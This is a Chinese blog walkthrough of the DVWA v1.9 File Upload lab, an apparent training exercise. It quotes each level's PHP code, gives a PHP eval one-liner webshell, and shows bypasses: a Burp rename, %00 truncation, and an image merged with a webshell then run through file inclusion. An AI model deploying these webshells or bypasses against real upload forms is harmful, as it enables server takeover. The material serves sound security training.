天天看點

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

DVWA V1.9:File Upload(檔案上傳)

  • File Inclusion 介紹
  • Low 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • Medium 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • High 級别
    • 核心代碼
    • 官方提示
    • 漏洞利用
  • Impossible 級别
    • 核心代碼
    • 官方提示

File Inclusion 介紹

上傳的檔案是Web應用程式的一大風險。

許多攻擊的第一步是讓一些代碼攻擊系統,然後攻擊者隻需要找到一種方法來執行代碼。

使用檔案上傳有助于攻擊者完成第一步。

不受限制的檔案上傳的後果會有所不同,包括完整的系統接管、過載的檔案系統、向後端系統轉發攻擊和簡單的破壞。

這取決于應用程式對上傳檔案所做的操作,包括存儲的位置。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

Low 級别

核心代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
           

basename(path,suffix)

函數傳回路徑中的檔案名部分,如果可選參數suffix為空,則傳回的檔案名包含字尾名,反之不包含字尾名。

可以看到,伺服器對上傳檔案的類型、内容沒有做任何的檢查、過濾,存在明顯的檔案上傳漏洞,生成上傳路徑後,伺服器會檢查是否上傳成功并傳回相應提示資訊。

官方提示

低級别将不檢查檔案以任何方式上載的内容。它隻依賴于信任。

Spoiler: Upload any valid PHP file with command in it.
           

漏洞利用

檔案上傳漏洞的利用是有限制條件的,

首先當然是要能夠成功上傳木馬檔案,其次上傳檔案必須能夠被執行,最後就是上傳檔案的路徑必須可知。

不幸的是,這裡三個條件全都滿足。

編寫php一句話木馬檔案。

<?php eval($_POST[wanku]);?> 
           
DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

上傳木馬檔案。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

路徑也給出來了,使用菜刀去連接配接,成功。

http://43.247.91.228:81/hackable/uploads/shell.php
           
DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

Medium 級别

核心代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
           

可以看到,Medium級别的代碼對上傳檔案的類型、大小做了限制,要求檔案類型必須是jpeg或者png,大小不能超過100000B(約為97.6KB)。

官方提示

當使用媒體級别時,它将在上傳時檢查用戶端的報告檔案類型。

Spoiler: Worth looking for any restrictions within any "hidden" form fields.
           

漏洞利用

因為采用的是一句話木馬,是以檔案大小不會有問題,至于檔案類型的檢查,嘗試修改檔案名為hack.png,上傳是OK的。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别
DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

但是我們使用菜刀去連接配接時,因為木馬不是php檔案,并不以php格式執行,是以編譯不了。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

方法一:抓包改名

這時候我們就需要使用burp進行抓包,把png字尾改成php,以便執行php一句話。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

發送到Repeater子產品修改字尾,上傳成功。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

再使用菜刀去連接配接shell2.php檔案,成功拿到shell。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

方法二:截斷繞過

在php版本小于5.3.4的伺服器中,當Magic_quote_gpc選項為off時,可以在檔案名中使用%00截斷,是以可以把上傳檔案命名為hack.php%00.png。

上傳成功。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

而伺服器會認為其檔案名為hack.php,順勢解析為php檔案。

遺憾的是,由于本次實驗環境的php版本為5.5.9,是以無法進行驗證。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

High 級别

核心代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
           

strrpos(string,find,start)

函數傳回字元串find在另一字元串string中最後一次出現的位置,如果沒有找到字元串則傳回false,可選參數start規定在何處開始搜尋。

getimagesize(string filename)

函數會通過讀取檔案頭,傳回圖檔的長、寬等資訊,如果沒有相關的圖檔檔案頭,函數會報錯。

可以看到,High級别的代碼讀取檔案名中最後一個”.”後的字元串,期望通過檔案名來限制檔案類型,是以要求上傳檔案名形式必須是”.jpg”、”.jpeg” 、”*.png”之一。

同時,getimagesize函數更是限制了上傳檔案的檔案頭必須為圖像類型。

官方提示

一旦從用戶端接收到該檔案,伺服器将嘗試調整請求中包含的任何圖像的大小。

Spoiler: need to link in another vulnerability, such as file includion.
           

漏洞利用

copy參考連結中的利用方法

首先利用copy将一句話木馬檔案php.php與圖檔檔案1.jpg合并

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别
DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别
DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

打開可以看到,一句話木馬藏到了最後。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

順利通過檔案頭檢查,可以成功上傳。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

上菜刀,右鍵添加shell,位址欄填入

http://192.168.153.130/dvwa/vulnerabilities/fi/?page=file:///C:/xampp/htdocs/dvwa/hackable/uploads/hack.jpg
           

參數名填apple,

腳本語言選擇php。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

成功拿到webshell。

DVWA V1.9:File Upload(檔案上傳)File Inclusion 介紹Low 級别Medium 級别High 級别Impossible 級别

Impossible 級别

核心代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>
           

in_get(varname)

函數傳回相應選項的值

imagecreatefromjpeg ( filename )

函數傳回圖檔檔案的圖像辨別,失敗傳回false

imagejpeg ( image , filename , quality)

從image圖像以filename為檔案名建立一個JPEG圖像,可選參數quality,範圍從0(最差品質,檔案更小)到100(最佳品質,檔案最大)。

imagedestroy( img )

函數銷毀圖像資源

可以看到,Impossible級别的代碼對上傳檔案進行了重命名(為md5值,導緻%00截斷無法繞過過濾規則),加入Anti-CSRF token防護CSRF攻擊,同時對檔案的内容作了嚴格的檢查,導緻攻擊者無法上傳含有惡意腳本的檔案。

官方提示

這将檢查從所有級别到目前為止的一切,然後重新編碼圖像。這将産生一個新的圖像,進而剝離任何“非圖像”代碼(包括中繼資料)。

參考連結:

新手指南:DVWA-1.9全級别教程之File Upload

繼續閱讀